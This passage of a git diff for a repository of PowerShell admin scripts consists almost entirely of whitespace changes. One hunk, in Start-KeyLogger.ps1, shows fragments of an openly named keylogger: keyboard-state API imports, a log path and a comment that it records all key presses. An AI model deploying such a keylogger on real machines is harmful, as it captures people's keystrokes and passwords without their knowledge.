32, 860, 662, 32, 865, 176, 41) -join '' | Write-Ascii - 'Angry' = [char[]]@(40, 65283, 65439, 1044, 65439, 41) -join '' | Write-Ascii - 'DontKnow' = [char[]]@(9488, 40, 39, 65374, 39, 65307, 41, 9484) -join '' | Write-Ascii + 'TableBack' = [char[]]@(9516, 9472, 9472, 9516, 32, 175, 92, 95, 40, 12484, 41) -join '' | Write-Ascii + 'TableFlip2' = [char[]]@(9531, 9473, 9531, 32, 65077, 12541, 40, 96, 1044, 180, 41, 65417, 65077, 32, 9531, 9473, 9531) -join '' | Write-Ascii + 'TableBack2' = [char[]]@(9516, 9472, 9516, 12494, 40, 32, 186, 32, 95, 32, 186, 12494, 41) -join '' | Write-Ascii + 'TableFlip3' = [char[]]@(40, 12494, 3232, 30410, 3232, 41, 12494, 24417, 9531, 9473, 9531) -join '' | Write-Ascii + 'Denko' = [char[]]@(40, 180, 65381, 969, 65381, 96, 41) -join '' | Write-Ascii + 'BlowKiss' = [char[]]@(40, 42, 94, 51, 94, 41, 47, 126, 9734) -join '' | Write-Ascii + 'Lenny' = [char[]]@(40, 32, 865, 176, 32, 860, 662, 32, 865, 176, 41) -join '' | Write-Ascii + 'Angry' = [char[]]@(40, 65283, 65439, 1044, 65439, 41) -join '' | Write-Ascii + 'DontKnow' = [char[]]@(9488, 40, 39, 65374, 39, 65307, 41, 9484) -join '' | Write-Ascii } } } diff --git a/TOOL-Get-ComputerInfo/Get-ComputerInfo.ps1 b/TOOL-Get-ComputerInfo/Get-ComputerInfo.ps1 index 72f8a459..2ed2cb64 100644 --- a/TOOL-Get-ComputerInfo/Get-ComputerInfo.ps1 +++ b/TOOL-Get-ComputerInfo/Get-ComputerInfo.ps1 @@ -13,9 +13,9 @@ function Get-ComputerInfo a local or remote machine. It requires PowerShell version 3 for the Ordered Hashtable. - The properties returned are the Computer Name (ComputerName),the Operating - System Name (OSName), Operating System Version (OSVersion), Memory Installed - on the Computer in GigaBytes (MemoryGB), the Number of + The properties returned are the Computer Name (ComputerName),the Operating + System Name (OSName), Operating System Version (OSVersion), Memory Installed + on the Computer in GigaBytes (MemoryGB), the Number of Processor(s) (NumberOfProcessors), Number of Socket(s) (NumberOfSockets), and Number of Core(s) (NumberOfCores). @@ -69,7 +69,7 @@ function Get-ComputerInfo NumberOfCores : 4 ComputerName : FILESERVER - OSName : Microsoft Windows Server 2008 R2 Standard + OSName : Microsoft Windows Server 2008 R2 Standard OSVersion : 6.1.7601 MemoryGB : 2 NumberOfProcessors : 1 @@ -100,7 +100,7 @@ function Get-ComputerInfo Get-ComputerInfo -ComputerName FILESERVER,SHAREPOINT -ErrorLog d:\MyErrors.log. ComputerName : FILESERVER - OSName : Microsoft Windows Server 2008 R2 Standard + OSName : Microsoft Windows Server 2008 R2 Standard OSVersion : 6.1.7601 MemoryGB : 2 NumberOfProcessors : 1 diff --git a/TOOL-Get-HelpMessage/Get-HelpMessage.ps1 b/TOOL-Get-HelpMessage/Get-HelpMessage.ps1 index 76c09211..479f6d47 100644 --- a/TOOL-Get-HelpMessage/Get-HelpMessage.ps1 +++ b/TOOL-Get-HelpMessage/Get-HelpMessage.ps1 @@ -27,7 +27,7 @@ function Get-HelpMessage Another installation is already in progress. Complete that installation before proceeding with this install .EXAMPLE - Get-HelpMessage –2147023278 + Get-HelpMessage –2147023278 Another installation is already in progress. Complete that installation before proceeding with this install .NOTES diff --git a/TOOL-Get-ImageInformation/readme.md b/TOOL-Get-ImageInformation/readme.md index 5c258def..4b36dcba 100644 --- a/TOOL-Get-ImageInformation/readme.md +++ b/TOOL-Get-ImageInformation/readme.md @@ -8,7 +8,7 @@ Get-ImageInformation -FilePath c:\test\image.png ## Output example ``` powershell -Tag : +Tag : PhysicalDimension : {Width=301, Height=308} Size : {Width=301, Height=308} Width : 301 diff --git a/TOOL-Get-LogFast/Get-LogFast.ps1 b/TOOL-Get-LogFast/Get-LogFast.ps1 index 7dafa42b..689508ef 100644 --- a/TOOL-Get-LogFast/Get-LogFast.ps1 +++ b/TOOL-Get-LogFast/Get-LogFast.ps1 @@ -11,11 +11,11 @@ Get-LogFast -Path C:\367.msp.0.log -Match "09:36:43:417" -Verbose VERBOSE: [PROCESS] Match found - MSI (s) (A8:14) [09:36:43:417]: Note: 1: 2205 2: 3: Font + MSI (s) (A8:14) [09:36:43:417]: Note: 1: 2205 2: 3: Font VERBOSE: [PROCESS] Match found - MSI (s) (A8:14) [09:36:43:417]: Note: 1: 2205 2: 3: Class + MSI (s) (A8:14) [09:36:43:417]: Note: 1: 2205 2: 3: Class VERBOSE: [PROCESS] Match found - MSI (s) (A8:14) [09:36:43:417]: Note: 1: 2205 2: 3: TypeLib + MSI (s) (A8:14) [09:36:43:417]: Note: 1: 2205 2: 3: TypeLib .NOTES Francois-Xavier cat diff --git a/TOOL-Get-NetFramework/Get-NetFramework.ps1 b/TOOL-Get-NetFramework/Get-NetFramework.ps1 index 6695193c..9f75ecca 100644 --- a/TOOL-Get-NetFramework/Get-NetFramework.ps1 +++ b/TOOL-Get-NetFramework/Get-NetFramework.ps1 @@ -6,16 +6,16 @@ .EXAMPLE Get-NetFramework - PSChildName Version - ----------- ------- - v2.0.50727 2.0.50727.4927 - v3.0 3.0.30729.4926 - Windows Communication Foundation 3.0.4506.4926 - Windows Presentation Foundation 3.0.6920.4902 - v3.5 3.5.30729.4926 - Client 4.5.51641 - Full 4.5.51641 - Client 4.0.0.0 + PSChildName Version + ----------- ------- + v2.0.50727 2.0.50727.4927 + v3.0 3.0.30729.4926 + Windows Communication Foundation 3.0.4506.4926 + Windows Presentation Foundation 3.0.6920.4902 + v3.5 3.5.30729.4926 + Client 4.5.51641 + Full 4.5.51641 + Client 4.0.0.0 .NOTES TODO: diff --git a/TOOL-Get-NetFrameworkTypeAccelerator/Get-NetFrameworkTypeAccelerator.ps1 b/TOOL-Get-NetFrameworkTypeAccelerator/Get-NetFrameworkTypeAccelerator.ps1 index 443235f6..72fa3f35 100644 --- a/TOOL-Get-NetFrameworkTypeAccelerator/Get-NetFrameworkTypeAccelerator.ps1 +++ b/TOOL-Get-NetFrameworkTypeAccelerator/Get-NetFrameworkTypeAccelerator.ps1 @@ -1,7 +1,7 @@ function Get-NetFrameworkTypeAccelerator { <# -.SYNOPSIS +.SYNOPSIS Function to retrieve the list of Type Accelerator available .EXAMPLE Get-NetFrameworkTypeAccelerator diff --git a/TOOL-Get-NetworkLevelAuthentication/Get-NetworkLevelAuthentication.ps1 b/TOOL-Get-NetworkLevelAuthentication/Get-NetworkLevelAuthentication.ps1 index 14a6ac4e..89614fb8 100644 --- a/TOOL-Get-NetworkLevelAuthentication/Get-NetworkLevelAuthentication.ps1 +++ b/TOOL-Get-NetworkLevelAuthentication/Get-NetworkLevelAuthentication.ps1 @@ -22,7 +22,7 @@ function Get-NetworkLevelAuthentication NLAEnabled : True TerminalName : RDP-Tcp TerminalProtocol : Microsoft RDP 8.0 - Transport : tcp + Transport : tcp .EXAMPLE Get-NetworkLevelAuthentication -ComputerName DC01 diff --git a/TOOL-Get-PSObjectEmptyOrNullProperty/Get-PSObjectEmptyOrNullProperty.ps1 b/TOOL-Get-PSObjectEmptyOrNullProperty/Get-PSObjectEmptyOrNullProperty.ps1 index 8bba49ea..a2121d06 100644 --- a/TOOL-Get-PSObjectEmptyOrNullProperty/Get-PSObjectEmptyOrNullProperty.ps1 +++ b/TOOL-Get-PSObjectEmptyOrNullProperty/Get-PSObjectEmptyOrNullProperty.ps1 @@ -6,7 +6,7 @@ function Get-PSObjectEmptyOrNullProperty .DESCRIPTION Function to Get all the empty or null properties with empty value in a PowerShell Object. - I used this function in a System Center Orchestrator where I had a runbook that could update most of the important + I used this function in a System Center Orchestrator where I had a runbook that could update most of the important properties of a user. Using this function I knew which properties were not be updated. .PARAMETER PSObject @@ -29,7 +29,7 @@ function Get-PSObjectEmptyOrNullProperty MemberType : NoteProperty IsSettable : True IsGettable : True - Value : + Value : TypeNameOfValue : System.String Name : LastName IsInstance : True @@ -37,13 +37,13 @@ function Get-PSObjectEmptyOrNullProperty MemberType : NoteProperty IsSettable : True IsGettable : True - Value : + Value : TypeNameOfValue : System.Object Name : nullable IsInstance : True .NOTES - Francois-Xavier Cat + Francois-Xavier Cat www.lazywinadmin.com @lazywinadmin #> diff --git a/TOOL-Get-PendingReboot/Get-PendingReboot.ps1 b/TOOL-Get-PendingReboot/Get-PendingReboot.ps1 index 0bfcb3ce..b673dcb4 100644 --- a/TOOL-Get-PendingReboot/Get-PendingReboot.ps1 +++ b/TOOL-Get-PendingReboot/Get-PendingReboot.ps1 @@ -1,88 +1,88 @@ Function Get-PendingReboot { -<# -.SYNOPSIS - Gets the pending reboot status on a local or remote computer. - -.DESCRIPTION - This function will query the registry on a local or remote computer and determine if the - system is pending a reboot, from either Microsoft Patching or a Software Installation. - For Windows 2008+ the function will query the CBS registry key as another factor in determining - pending reboot state. "PendingFileRenameOperations" and "Auto Update\RebootRequired" are observed - as being consistant across Windows Server 2003 & 2008. - - CBServicing = Component Based Servicing (Windows 2008) - WindowsUpdate = Windows Update / Auto Update (Windows 2003 / 2008) - CCMClientSDK = SCCM 2012 Clients only (DetermineIfRebootPending method) otherwise $null value - PendFileRename = PendingFileRenameOperations (Windows 2003 / 2008) - -.PARAMETER ComputerName - A single Computer or an array of computer names. The default is localhost ($env:COMPUTERNAME). - -.PARAMETER ErrorLog - A single path to send error data to a log file. - -.EXAMPLE - PS C:\> Get-PendingReboot -ComputerName (Get-Content C:\ServerList.txt) | Format-Table -AutoSize - - Computer CBServicing WindowsUpdate CCMClientSDK PendFileRename PendFileRenVal RebootPending - -------- ----------- ------------- ------------ -------------- -------------- ------------- - DC01 False False False False - DC02 False False False False - FS01 False False False False - - This example will capture the contents of C:\ServerList.txt and query the pending reboot - information from the systems contained in the file and display the output in a table. The - null values are by design, since these systems do not have the SCCM 2012 client installed, - nor was the PendingFileRenameOperations value populated. - -.EXAMPLE - PS C:\> Get-PendingReboot - - Computer : WKS01 - CBServicing : False - WindowsUpdate : True - CCMClient : False - PendComputerRename : False - PendFileRename : False - PendFileRenVal : - RebootPending : True - - This example will query the local machine for pending reboot information. - -.EXAMPLE - PS C:\> $Servers = Get-Content C:\Servers.txt - PS C:\> Get-PendingReboot -Computer $Servers | Export-Csv C:\PendingRebootReport.csv -NoTypeInformation - - This example will create a report that contains pending reboot information. - -.LINK - Component-Based Servicing: - http://technet.microsoft.com/en-us/library/cc756291(v=WS.10).aspx - - PendingFileRename/Auto Update: - http://support.microsoft.com/kb/2723674 - http://technet.microsoft.com/en-us/library/cc960241.aspx - http://blogs.msdn.com/b/hansr/archive/2006/02/17/patchreboot.aspx - - SCCM 2012/CCM_ClientSDK: - http://msdn.microsoft.com/en-us/library/jj902723.aspx - -.NOTES - Author: Brian Wilhite - Email: bcwilhite (at) live.com - Date: 29AUG2012 - PSVer: 2.0/3.0/4.0/5.0 - Updated: 01DEC2014 - UpdNote: Added CCMClient property - Used with SCCM 2012 Clients only - Added ValueFromPipelineByPropertyName=$true to the ComputerName Parameter - Removed $Data variable from the PSObject - it is not needed - Bug with the way CCMClientSDK returned null value if it was false - Removed unneeded variables - Added PendFileRenVal - Contents of the PendingFileRenameOperations Reg Entry - Removed .Net Registry connection, replaced with WMI StdRegProv - Added ComputerPendingRename -#> +<# +.SYNOPSIS + Gets the pending reboot status on a local or remote computer. + +.DESCRIPTION + This function will query the registry on a local or remote computer and determine if the + system is pending a reboot, from either Microsoft Patching or a Software Installation. + For Windows 2008+ the function will query the CBS registry key as another factor in determining + pending reboot state. "PendingFileRenameOperations" and "Auto Update\RebootRequired" are observed + as being consistant across Windows Server 2003 & 2008. + + CBServicing = Component Based Servicing (Windows 2008) + WindowsUpdate = Windows Update / Auto Update (Windows 2003 / 2008) + CCMClientSDK = SCCM 2012 Clients only (DetermineIfRebootPending method) otherwise $null value + PendFileRename = PendingFileRenameOperations (Windows 2003 / 2008) + +.PARAMETER ComputerName + A single Computer or an array of computer names. The default is localhost ($env:COMPUTERNAME). + +.PARAMETER ErrorLog + A single path to send error data to a log file. + +.EXAMPLE + PS C:\> Get-PendingReboot -ComputerName (Get-Content C:\ServerList.txt) | Format-Table -AutoSize + + Computer CBServicing WindowsUpdate CCMClientSDK PendFileRename PendFileRenVal RebootPending + -------- ----------- ------------- ------------ -------------- -------------- ------------- + DC01 False False False False + DC02 False False False False + FS01 False False False False + + This example will capture the contents of C:\ServerList.txt and query the pending reboot + information from the systems contained in the file and display the output in a table. The + null values are by design, since these systems do not have the SCCM 2012 client installed, + nor was the PendingFileRenameOperations value populated. + +.EXAMPLE + PS C:\> Get-PendingReboot + + Computer : WKS01 + CBServicing : False + WindowsUpdate : True + CCMClient : False + PendComputerRename : False + PendFileRename : False + PendFileRenVal : + RebootPending : True + + This example will query the local machine for pending reboot information. + +.EXAMPLE + PS C:\> $Servers = Get-Content C:\Servers.txt + PS C:\> Get-PendingReboot -Computer $Servers | Export-Csv C:\PendingRebootReport.csv -NoTypeInformation + + This example will create a report that contains pending reboot information. + +.LINK + Component-Based Servicing: + http://technet.microsoft.com/en-us/library/cc756291(v=WS.10).aspx + + PendingFileRename/Auto Update: + http://support.microsoft.com/kb/2723674 + http://technet.microsoft.com/en-us/library/cc960241.aspx + http://blogs.msdn.com/b/hansr/archive/2006/02/17/patchreboot.aspx + + SCCM 2012/CCM_ClientSDK: + http://msdn.microsoft.com/en-us/library/jj902723.aspx + +.NOTES + Author: Brian Wilhite + Email: bcwilhite (at) live.com + Date: 29AUG2012 + PSVer: 2.0/3.0/4.0/5.0 + Updated: 01DEC2014 + UpdNote: Added CCMClient property - Used with SCCM 2012 Clients only + Added ValueFromPipelineByPropertyName=$true to the ComputerName Parameter + Removed $Data variable from the PSObject - it is not needed + Bug with the way CCMClientSDK returned null value if it was false + Removed unneeded variables + Added PendFileRenVal - Contents of the PendingFileRenameOperations Reg Entry + Removed .Net Registry connection, replaced with WMI StdRegProv + Added ComputerPendingRename +#> [CmdletBinding()] param ( @@ -93,42 +93,42 @@ [String]$ErrorLog ) - Begin { } ## End Begin Script Block + Begin { } ## End Begin Script Block Process { Foreach ($Computer in $ComputerName) { Try { - ## Setting pending values to false to cut down on the number of else statements + ## Setting pending values to false to cut down on the number of else statements $CompPendRen, $PendFileRename, $Pending, $SCCM = $false, $false, $false, $false - ## Setting CBSRebootPend to null since not all versions of Windows has this value + ## Setting CBSRebootPend to null since not all versions of Windows has this value $CBSRebootPend = $null - ## Querying WMI for build version + ## Querying WMI for build version $WMI_OS = Get-WmiObject -Class Win32_OperatingSystem -Property BuildNumber, CSName -ComputerName $Computer -ErrorAction Stop - ## Making registry connection to the local/remote computer + ## Making registry connection to the local/remote computer $HKLM = [UInt32] "0x80000002" $WMI_Reg = [WMIClass] "\\$Computer\root\default:StdRegProv" - ## If Vista/2008 & Above query the CBS Reg Key + ## If Vista/2008 & Above query the CBS Reg Key If ([Int32]$WMI_OS.BuildNumber -ge 6001) { $RegSubKeysCBS = $WMI_Reg.EnumKey($HKLM, "SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\") $CBSRebootPend = $RegSubKeysCBS.sNames -contains "RebootPending" } - ## Query WUAU from the registry + ## Query WUAU from the registry $RegWUAURebootReq = $WMI_Reg.EnumKey($HKLM, "SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\") $WUAURebootReq = $RegWUAURebootReq.sNames -contains "RebootRequired" - ## Query PendingFileRenameOperations from the registry + ## Query PendingFileRenameOperations from the registry $RegSubKeySM = $WMI_Reg.GetMultiStringValue($HKLM, "SYSTEM\CurrentControlSet\Control\Session Manager\", "PendingFileRenameOperations") $RegValuePFRO = $RegSubKeySM.sValue - ## Query ComputerName and ActiveComputerName from the registry + ## Query ComputerName and ActiveComputerName from the registry $ActCompNm = $WMI_Reg.GetStringValue($HKLM, "SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName\", "ComputerName") $CompNm = $WMI_Reg.GetStringValue($HKLM, "SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\", "ComputerName") If ($ActCompNm -ne $CompNm) @@ -136,14 +136,14 @@ $CompPendRen = $true } - ## If PendingFileRenameOperations has a value set $RegValuePFRO variable to $true + ## If PendingFileRenameOperations has a value set $RegValuePFRO variable to $true If ($RegValuePFRO) { $PendFileRename = $true } - ## Determine SCCM 2012 Client Reboot Pending Status - ## To avoid nested 'if' statements and unneeded WMI calls to determine if the CCM_ClientUtilities class exist, setting EA = 0 + ## Determine SCCM 2012 Client Reboot Pending Status + ## To avoid nested 'if' statements and unneeded WMI calls to determine if the CCM_ClientUtilities class exist, setting EA = 0 $CCMClientSDK = $null $CCMSplat = @{ NameSpace = 'ROOT\ccm\ClientSDK' @@ -152,7 +152,7 @@ ComputerName = $Computer ErrorAction = 'Stop' } - ## Try CCMClientSDK + ## Try CCMClientSDK Try { $CCMClientSDK = Invoke-WmiMethod @CCMSplat @@ -187,7 +187,7 @@ $SCCM = $null } - ## Creating Custom PSObject and Select-Object Splat + ## Creating Custom PSObject and Select-Object Splat $SelectSplat = @{ Property = ( 'Computer', @@ -215,15 +215,15 @@ Catch { Write-Warning "$Computer`: $_" - ## If $ErrorLog, log the file to a user specified location/path + ## If $ErrorLog, log the file to a user specified location/path If ($ErrorLog) { Out-File -InputObject "$Computer`,$_" -FilePath $ErrorLog -Append } } - } ## End Foreach ($Computer in $ComputerName) - } ## End Process + } ## End Foreach ($Computer in $ComputerName) + } ## End Process - End { } ## End End + End { } ## End End } ## End Function Get-PendingReboot \ No newline at end of file diff --git a/TOOL-Get-StringCharCount/Get-StringCharCount.ps1 b/TOOL-Get-StringCharCount/Get-StringCharCount.ps1 index 8e7e4aa3..8007f26f 100644 --- a/TOOL-Get-StringCharCount/Get-StringCharCount.ps1 +++ b/TOOL-Get-StringCharCount/Get-StringCharCount.ps1 @@ -12,7 +12,7 @@ .NOTES Francois-Xavier Cat @lazywinadmin - www.lazywinadmin.com + www.lazywinadmin.com #> PARAM ([String]$String) ($String -as [Char[]]).count diff --git a/TOOL-Invoke-Ping/Invoke-Ping.ps1 b/TOOL-Invoke-Ping/Invoke-Ping.ps1 index 88305856..ae21015a 100644 --- a/TOOL-Invoke-Ping/Invoke-Ping.ps1 +++ b/TOOL-Invoke-Ping/Invoke-Ping.ps1 @@ -170,8 +170,8 @@ Function Invoke-Ping $VariablesToExclude = @((Get-Command _temp | Select -ExpandProperty parameters).Keys + $PSBoundParameters.Keys + $StandardUserEnv.Variables) Write-Verbose "Excluding variables $(($VariablesToExclude | sort) -join ", ")" - # we don't use 'Get-Variable -Exclude', because it uses regexps. - # One of the veriables that we pass is '$?'. + # we don't use 'Get-Variable -Exclude', because it uses regexps. + # One of the veriables that we pass is '$?'. # There could be other variables with such problems. # Scope 2 required if we move to a real module $UserVariables = @(Get-Variable | Where { -not ($VariablesToExclude -contains $_.Name) }) @@ -210,7 +210,7 @@ Function Invoke-Ping Catch { 0 }) } - #run through each runspace. + #run through each runspace. Foreach ($runspace in $runspaces) { @@ -279,7 +279,7 @@ Function Invoke-Ping } - #If runspace isn't null set more to true + #If runspace isn't null set more to true ElseIf ($runspace.Runspace -ne $null) { $log = $null diff --git a/TOOL-New-CimSmartSession/New-CimSmartSession.ps1 b/TOOL-New-CimSmartSession/New-CimSmartSession.ps1 index 9bca9176..a49f4d7f 100644 --- a/TOOL-New-CimSmartSession/New-CimSmartSession.ps1 +++ b/TOOL-New-CimSmartSession/New-CimSmartSession.ps1 @@ -1,27 +1,27 @@ function New-CimSmartSession { -<# -.SYNOPSIS +<# +.SYNOPSIS Function to create a CimSession to remote computer using either WSMAN or DCOM protocol. -.DESCRIPTION +.DESCRIPTION Function to create a CimSession to remote computer using either WSMAN or DCOM protocol. This function requires at least PowerShell v3. -.PARAMETER ComputerName - Specifies the ComputerName +.PARAMETER ComputerName + Specifies the ComputerName -.PARAMETER Credential +.PARAMETER Credential Specifies alternative credentials -.EXAMPLE +.EXAMPLE New-CimSmartSession -ComputerName DC01,DC02 -.EXAMPLE +.EXAMPLE $Session = New-CimSmartSession -ComputerName DC01 -Credential (Get-Credential -Credential "FX\SuperAdmin") New-CimInstance -CimSession $Session -Class Win32_Bios -.NOTES +.NOTES Francois-Xavier Cat lazywinadmin.com @lazywinadmin diff --git a/TOOL-New-DjoinFile/README.md b/TOOL-New-DjoinFile/README.md index 0a0b8f71..f4398ce7 100644 --- a/TOOL-New-DjoinFile/README.md +++ b/TOOL-New-DjoinFile/README.md @@ -15,7 +15,7 @@ This blob file can then be passed to djoin to join the machine to the Active Dir # Load the function (Dot Sourcing) . C:\MyScripts\New-DjoinFile.ps1 -# Blob generated +# Blob generated $Blob = "" # Recreate djoin file diff --git a/TOOL-Remove-PSObjectEmptyOrNullProperty/Remove-PSObjectEmptyOrNullProperty.ps1 b/TOOL-Remove-PSObjectEmptyOrNullProperty/Remove-PSObjectEmptyOrNullProperty.ps1 index 87c7c4f6..88369dcf 100644 --- a/TOOL-Remove-PSObjectEmptyOrNullProperty/Remove-PSObjectEmptyOrNullProperty.ps1 +++ b/TOOL-Remove-PSObjectEmptyOrNullProperty/Remove-PSObjectEmptyOrNullProperty.ps1 @@ -14,7 +14,7 @@ PS C:\> Remove-PSObjectEmptyOrNullProperty -PSObject $UserInfo .NOTES - Francois-Xavier Cat + Francois-Xavier Cat www.lazywinadmin.com @lazywinadmin #> diff --git a/TOOL-Remove-PSObjectProperty/Remove-PSObjectProperty.ps1 b/TOOL-Remove-PSObjectProperty/Remove-PSObjectProperty.ps1 index 2d533ea3..80e797b7 100644 --- a/TOOL-Remove-PSObjectProperty/Remove-PSObjectProperty.ps1 +++ b/TOOL-Remove-PSObjectProperty/Remove-PSObjectProperty.ps1 @@ -17,7 +17,7 @@ PS C:\> Remove-PSObjectProperty -PSObject $UserInfo -Property Info .NOTES - Francois-Xavier Cat + Francois-Xavier Cat www.lazywinadmin.com @lazywinadmin #> diff --git a/TOOL-Remove-StringDiacritic/Remove-StringDiacritic.ps1 b/TOOL-Remove-StringDiacritic/Remove-StringDiacritic.ps1 index b8979f66..b42a8375 100644 --- a/TOOL-Remove-StringDiacritic/Remove-StringDiacritic.ps1 +++ b/TOOL-Remove-StringDiacritic/Remove-StringDiacritic.ps1 @@ -38,7 +38,7 @@ { Write-Verbose -Message "$StringValue" try - { + { # Normalize the String $Normalized = $StringValue.Normalize($NormalizationForm) $NewString = New-Object -TypeName System.Text.StringBuilder diff --git a/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 b/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 index 4e37bda3..2a75450d 100644 --- a/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 +++ b/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 @@ -8,7 +8,7 @@ function Remove-StringSpecialCharacter This function will remove the special character from a string. I'm using Unicode Regular Expressions with the following categories \p{L} : any kind of letter from any language. - \p{Nd} : a digit zero through nine in any script except ideographic + \p{Nd} : a digit zero through nine in any script except ideographic http://www.regular-expressions.info/unicode.html http://unicode.org/reports/tr18/ diff --git a/TOOL-Set-PowerShellWindowTitle/Set-PowerShellWindowTitle.ps1 b/TOOL-Set-PowerShellWindowTitle/Set-PowerShellWindowTitle.ps1 index 5d8aed89..835d86bd 100644 --- a/TOOL-Set-PowerShellWindowTitle/Set-PowerShellWindowTitle.ps1 +++ b/TOOL-Set-PowerShellWindowTitle/Set-PowerShellWindowTitle.ps1 @@ -19,6 +19,6 @@ @lazywinadmin #> PARAM($Title) - $Host.UI.RawUI.WindowTitle = $Title + $Host.UI.RawUI.WindowTitle = $Title } diff --git a/TOOL-Set-RemoteDesktop/Set-RemoteDesktop.ps1 b/TOOL-Set-RemoteDesktop/Set-RemoteDesktop.ps1 index cb72eebb..2f5cec42 100644 --- a/TOOL-Set-RemoteDesktop/Set-RemoteDesktop.ps1 +++ b/TOOL-Set-RemoteDesktop/Set-RemoteDesktop.ps1 @@ -28,7 +28,7 @@ [CmdletBinding()] PARAM ( [String[]]$ComputerName = $env:COMPUTERNAME, - [Parameter(Mandatory = $true)] + [Parameter(Mandatory = $true)] [Boolean]$Enable ) PROCESS diff --git a/TOOL-Start-KeyLogger/Start-KeyLogger.ps1 b/TOOL-Start-KeyLogger/Start-KeyLogger.ps1 index b52d7cb4..8d032bf6 100644 --- a/TOOL-Start-KeyLogger/Start-KeyLogger.ps1 +++ b/TOOL-Start-KeyLogger/Start-KeyLogger.ps1 @@ -1,4 +1,4 @@ -#requires -Version 2 +#requires -Version 2 function Start-KeyLogger($Path = "$env:temp\keylogger.txt") { <# @@ -14,8 +14,8 @@ function Start-KeyLogger($Path = "$env:temp\keylogger.txt") #> # Signatures for API Calls $signatures = @' -[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] -public static extern short GetAsyncKeyState(int virtualKeyCode); +[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] +public static extern short GetAsyncKeyState(int virtualKeyCode); [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int GetKeyboardState(byte[] keystate); [DllImport("user32.dll", CharSet=CharSet.Auto)] @@ -80,6 +80,6 @@ public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeyst } } -# records all key presses until script is aborted by pressing CTRL+C -# will then open the file with collected key codes +# records all key presses until script is aborted by pressing CTRL+C +# will then open the file with collected key codes #Start-KeyLogger \ No newline at end of file diff --git a/_Profiles/Microsoft.PowerShell_profile.ps1 b/_Profiles/Microsoft.PowerShell_profile.ps1 index 24835997..0e665933 100644 --- a/_Profiles/Microsoft.PowerShell_profile.ps1 +++ b/_Profiles/Microsoft.PowerShell_profile.ps1 @@ -1,4 +1,4 @@ -<# +<# .SYNOPSIS Profile File .DESCRIPTION diff --git a/_Profiles/functions/Find-Apartment.ps1 b/_Profiles/functions/Find-Apartment.ps1 index 4721b4d4..fda9ad70 100644 --- a/_Profiles/functions/Find-Apartment.ps1 +++ b/_Profiles/functions/Find-Apartment.ps1 @@ -17,13 +17,13 @@ Function Find-Apartment For ($CurrentPage=0;$CurrentPage -le $MaxPages;$CurrentPage++) { $WebPage = Invoke-WebRequest "$URL/search/roo?=roo&s=$Start&query=&zoomToPosting=&minAsk=$MinPrice&maxAsk=$MaxPrice&hasPic=1" $Results = $WebPage.ParsedHtml.body.innerHTML.Split("`n") | ? { $_ -like "

","") -replace ".*" $DatePosted = ($Item -replace ".*class=date>","") -replace ".*" $Neighborhood = ($Item -replace ".*\\(","") -replace "\)\.*" - If ($Neighborhood -like "<*") { $Neighborhood = "N/A" } + If ($Neighborhood -like "<*") { $Neighborhood = "N/A" } $Link = $URL + ((($Item -replace ".*\'))[0] $Email = (($(Invoke-WebRequest $Link).ParsedHtml.body.innerHTML.Split("`n") | ? { $_ -like "var displayEmail*" }) -replace "var displayEmail \= `"") -replace "`";" $Description = ((($Item -replace ".*\'))[1] diff --git a/_Profiles/functions/View-Cats.ps1 b/_Profiles/functions/View-Cats.ps1 index bc6730dc..5dd68ff5 100644 --- a/_Profiles/functions/View-Cats.ps1 +++ b/_Profiles/functions/View-Cats.ps1 @@ -17,8 +17,8 @@ function View-Cats $shell.AppActivate("Internet Explorer") while($true){ - $request = Invoke-WebRequest -Uri "http://thecatapi.com/api/images/get" -Method get + $request = Invoke-WebRequest -Uri "http://thecatapi.com/api/images/get" -Method get $IE.Navigate($request.BaseResponse.ResponseUri.AbsoluteUri) Start-Sleep -Seconds $refreshtime } -} +} diff --git a/_Profiles/functions/show-object.ps1 b/_Profiles/functions/show-object.ps1 index 7651a938..c56563fb 100644 --- a/_Profiles/functions/show-object.ps1 +++ b/_Profiles/functions/show-object.ps1 @@ -87,7 +87,7 @@ function PopulateNode($node, $object) } $newChildNode.Name += "[$count]" - $null = $node.Nodes.Add($newChildNode) + $null = $node.Nodes.Add($newChildNode) ## If this node has children or properties, add a placeholder ## node underneath so that the node shows a '+' sign to be @@ -163,7 +163,7 @@ function OnAfterSelect ## information in the text box. if($resultObject) { - $members = Get-Member -InputObject $resultObject | Out-String + $members = Get-Member -InputObject $resultObject | Out-String $outputPane.Text += "`n" + $members } } @@ -190,7 +190,7 @@ function OnBeforeExpand ## Walk through its parents, creating the virtual ## PowerShell syntax to access this property. - $nodePath = GetPathForNode $selectedNode + $nodePath = GetPathForNode $selectedNode ## Now, invoke that PowerShell syntax to retrieve ## the value of the property. diff --git a/_Test/AD-TokenGroups_Test.ps1 b/_Test/AD-TokenGroups_Test.ps1 index 707af591..7b67f221 100644 --- a/_Test/AD-TokenGroups_Test.ps1 +++ b/_Test/AD-TokenGroups_Test.ps1 @@ -19,23 +19,23 @@ $Search.FindAll() | ForEach-Object -Process { <# TypeName: System.Security.Principal.SecurityIdentifier - Name MemberType Definition - ---- ---------- ---------- + Name MemberType Definition + ---- ---------- ---------- CompareTo Method int CompareTo(System.Security.Principal.SecurityIdentifier sid), int IComparable[SecurityIdentifier].CompareTo(System.Security.Principal.Security... - Equals Method bool Equals(System.Object o), bool Equals(System.Security.Principal.SecurityIdentifier sid) - GetBinaryForm Method void GetBinaryForm(byte[] binaryForm, int offset) - GetHashCode Method int GetHashCode() - GetType Method type GetType() - IsAccountSid Method bool IsAccountSid() - IsEqualDomainSid Method bool IsEqualDomainSid(System.Security.Principal.SecurityIdentifier sid) - IsValidTargetType Method bool IsValidTargetType(type targetType) - IsWellKnown Method bool IsWellKnown(System.Security.Principal.WellKnownSidType type) - ToString Method string ToString() - Translate Method System.Security.Principal.IdentityReference Translate(type targetType) - AccountDomainSid Property System.Security.Principal.SecurityIdentifier 